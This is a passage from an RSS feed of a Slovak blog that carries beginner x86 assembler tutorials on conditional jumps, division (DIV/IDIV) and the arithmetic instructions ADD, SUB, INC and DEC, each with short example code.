<span style="color: #00007f; font-weight: bold;">ja</span> koniec_if <span style="color: #666666; font-style: italic;">; skoč na koniec programu, ak AL &gt; CL </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">bl</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">3</span>   <span style="color: #666666; font-style: italic;">; do BL zapíš 3 </span>
koniec_if<span style="color: #339933;">:</span>   <span style="color: #666666; font-style: italic;">; koniec programu</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/09/06/assembler-ifthen-ala-cmp-a-jmp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Assembler &#8211; inštrukcie DIV a IDIV</title>
		<link>http://www.bloog.sk/2009/09/06/assembler-instrukcie-div-a-idiv/</link>
		<comments>http://www.bloog.sk/2009/09/06/assembler-instrukcie-div-a-idiv/#comments</comments>
		<pubDate>Sat, 05 Sep 2009 23:35:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Assembler x86]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=24</guid>
		<description><![CDATA[Podobne ako inštrukcie MUL má aj inštrukcie DIV tri možné tvary líšiace sa veľkosťou použitých voliteľných operanda. Syntax: DIVr/m8; osembitový voliteľný operand v pamäti alebo v registri DIVr/ml6 DIVr/m32 Voliteľným operand je deliteľ, pevným operand je delenec. V 8-bitovej variante je voliteľný operand ľubovoľným 8-bitovým registrom alebo miestom v pamäti. Pevný operand sa predpokladá v [...]]]></description>
			<content:encoded><![CDATA[<p>Podobne ako inštrukcie MUL má aj inštrukcie DIV tri možné tvary líšiace sa veľkosťou použitých voliteľných operanda.<br />
Syntax:<br />
<em>DIVr/m8; osembitový voliteľný operand v pamäti alebo v registri<br />
DIVr/ml6<br />
DIVr/m32<br />
</em><br />
Voliteľným operand je deliteľ, pevným operand je delenec.<br />
V 8-bitovej variante je voliteľný operand ľubovoľným 8-bitovým registrom alebo miestom v pamäti. Pevný operand sa predpokladá v registri AX, výsledok delenia (podiel) sa uloží do registra AL a zvyšok po delení sa uloží v registri AH.<br />
AX / (r/m8) -> AL, zvyšok v AH<br />
V 16-bitovej variante je voliteľný operand ľubovoľným 16-bitovým registrom alebo miestom v pamäti. Pevný operand sa predpokladá v registrovej dvojici DX: AX, výsledok delenia sa uloží do registra AX, zvyšok po delení sa uloží do registra DX. </p>
<p>DX: AX / (r/ml6) -> AX, zvyšok v DX </p>
<p>V 32-bitovej variante je voliteľný operand ľubovoľným 32-bitovým registrom alebo miestom v pamäti, pevný operand sa predpokladá v registrovej dvojici EDX: EAX, výsledok delenia sa ukladá do registra EAX, zvyšok po delení do registra EDX. </p>
<p>EDX:EAX / (r/m32) -> EAX, zvyšok v EDX </p>
<p>Inštrukciu IDIV použijeme pri delení čísel so znamienkom, operandy inštrukcie sú rovnaké ako u inštrukcie DIV.<br />
Uveďme si opäť niekoľko príkladov. </p>
<p>Príklad: Celočíselne vydeľte číslo 13 dvoma, výsledok uložte do registra BL a zvyšok do registra BH.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">13</span>  <span style="color: #666666; font-style: italic;">; do AX vložíme 13 </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">cl</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">2</span> <span style="color: #666666; font-style: italic;">; do CL 2</span>
<span style="color: #00007f; font-weight: bold;">div</span> <span style="color: #00007f;">cl</span> <span style="color: #666666; font-style: italic;">; vydelíme CL </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">bx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ax</span> <span style="color: #666666; font-style: italic;">; výsledok očakávame v BX, stačí prekopírovať</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/09/06/assembler-instrukcie-div-a-idiv/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Assembler &#8211; inštrukcie ADD,SUB,INC,DEC</title>
		<link>http://www.bloog.sk/2009/09/06/assembler-aritmeticke-instrukcie/</link>
		<comments>http://www.bloog.sk/2009/09/06/assembler-aritmeticke-instrukcie/#comments</comments>
		<pubDate>Sat, 05 Sep 2009 23:16:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Assembler x86]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=16</guid>
		<description><![CDATA[Ďalšie často používané inštrukcie sú aritmetické inštrukcie. Procesor 80386 nemá matematický koprocesor, a tak si preberieme len celočíselnú aritmetiku, ktorú 80386 plne podporuje. Všetky aritmetické inštrukcie menia príznaky v priznakovom registri procesora. Inštrukcie ADD a SUB Začneme ako v prvej triede s inštrukciou ADD (sčítaj). Inštrukcia ADD má dva operandy, podobne ako inštrukcia MOV. Syntax: [...]]]></description>
			<content:encoded><![CDATA[<p>Ďalšie často používané inštrukcie sú aritmetické inštrukcie. Procesor 80386 nemá matematický koprocesor, a tak si preberieme len celočíselnú aritmetiku, ktorú 80386 plne podporuje. Všetky aritmetické inštrukcie menia príznaky v priznakovom registri procesora.</p>
<h2>Inštrukcie ADD a SUB </h2>
<p>Začneme ako v prvej triede s inštrukciou ADD (sčítaj). Inštrukcia ADD má dva operandy, podobne ako inštrukcia MOV. </p>
<p><em>Syntax: ADD ol, o2 </em></p>
<p>ADD sčíta obidva operandy a výsledok uloží do operanda ol, jeho predchádzajúca hodnota je stratená.</p>
<p>Inštrukcia pre odčítanie je označovaná SUB (z anglického substract) a jej syntax je podobná. </p>
<p><em>Syntax: SUB ol, o2 </em></p>
<p>Výsledok ol &#8211; o2 sa uloží do ol; jeho pôvodná hodnota je opäť stratená. Ukážme si niekoľko príkladov:<br />
Př.: Sčítajme čísla 8 a 6 (uložené v registri AX a CX), výsledok uložme do DX:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">8</span>   <span style="color: #666666; font-style: italic;">; do registra AX vložíme 8 </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">cx</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">6</span>   <span style="color: #666666; font-style: italic;">; do registra CX zase 6 </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">dx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">cx</span>  <span style="color: #666666; font-style: italic;">; CX okopíruje do DX takže DX = 6 </span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">dx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ax</span>  <span style="color: #666666; font-style: italic;">; sčítame DX = DX + AX</span></pre></div></div>

<p>Pretože sme chceli uchrániť register AX aj CX pred zničením (prepísaním výsledkom), prekopírovali sme hodnotu uloženú v registri CX do DX a spočítali register DX s AX. Inštrukcia ADD výsledok súčtu DX + AX uložila do DX. </p>
<p>Ukážme si ďalšie príklady, ako použiť inštrukcie ADD a SUB.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">8</span> <span style="color: #666666; font-style: italic;">; k registru EAX pripočítame 8</span>
<span style="color: #00007f; font-weight: bold;">sub</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">EBP</span> <span style="color: #666666; font-style: italic;">; registr ECX = ECX - EBP</span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #009900; font-weight: bold;">&#91;</span>cislo<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">4</span> <span style="color: #666666; font-style: italic;">; k hodnote &quot;premennej&quot; cislo prirátame štyri</span>
  <span style="color: #666666; font-style: italic;">;(napovedáme rozsah 1 byte 0-256)</span>
<span style="color: #00007f; font-weight: bold;">sub</span> <span style="color: #000000; font-weight: bold;">word</span> <span style="color: #009900; font-weight: bold;">&#91;</span>cislo<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">4</span> <span style="color: #666666; font-style: italic;">; od hodnoty &quot;premennej&quot; cislo odčítame 4</span>
  <span style="color: #666666; font-style: italic;">;(napovedáme rozsah 2 byte 0-65 535)</span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #009900; font-weight: bold;">&#91;</span>cislo<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">4</span> <span style="color: #666666; font-style: italic;">;k hodnote &quot;premennej&quot; cislo pripočítame 4</span>
<span style="color: #00007f; font-weight: bold;">sub</span> <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #009900; font-weight: bold;">&#91;</span>cislo<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">al</span> <span style="color: #666666; font-style: italic;">;od hodnoty &quot;premennej&quot; cislo odčítame register AL</span>
<span style="color: #00007f; font-weight: bold;">sub</span> <span style="color: #00007f;">ah</span><span style="color: #339933;">,</span> <span style="color: #00007f;">al</span> <span style="color: #666666; font-style: italic;">; od registra AH odrátame AL a výsledok a uložíme do AH</span></pre></div></div>

<h2>Inštrukcie INC a DEC </h2>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">Syntax<span style="color: #339933;">:</span> 
<span style="color: #00007f; font-weight: bold;">INC</span> ol  <span style="color: #666666; font-style: italic;">; ol = ol + 1;</span>
<span style="color: #00007f; font-weight: bold;">DEC</span> ol <span style="color: #666666; font-style: italic;">; ol = ol - 1</span></pre></div></div>

<p>Ich názvy sú opäť odvodené z angličtiny a znamenajú increment (zvýšiť) a Decre-ment (znížiť).<br />
Inštrukcia zvyšuje (INC) alebo znižuje (DEC) jediný operand o jedničku. Jeho typ je rovnaký ako inštrukcií ADD a SUB. Ak použijeme operand ležiaci v pamäti, musíme prekladaču opäť napovedať požadovaný rozsah operanda. POZOR! Tieto pokyny upravujú príznak prenosu!</p>
<p>Přiklad: pripočítame k registru AI jedničku.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> l <span style="color: #666666; font-style: italic;">; je správne, avšak vďaka inštrukcii INC môžeme požiadavku </span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">al</span>    <span style="color: #666666; font-style: italic;">; splniť aj takto.</span></pre></div></div>

<p>Príklad: Zvýšte hodnotu šestnásťbitové &#8220;premennej&#8221; cislo o 1.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #000000; font-weight: bold;">word</span> <span style="color: #009900; font-weight: bold;">&#91;</span>cislo<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;">; pripočítali sme jedničku, napovedali sme rozsah </span>
  <span style="color: #666666; font-style: italic;">; 0-65535, tj 16 bitov.</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/09/06/assembler-aritmeticke-instrukcie/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using memcached
Page Caching using memcached (user agent is rejected)
Database Caching 1/60 queries in 0.056 seconds using memcached
Object Caching 586/658 objects using memcached
Content Delivery Network via N/A

Served from: www.bloog.sk @ 2012-02-09 00:46:20 -->
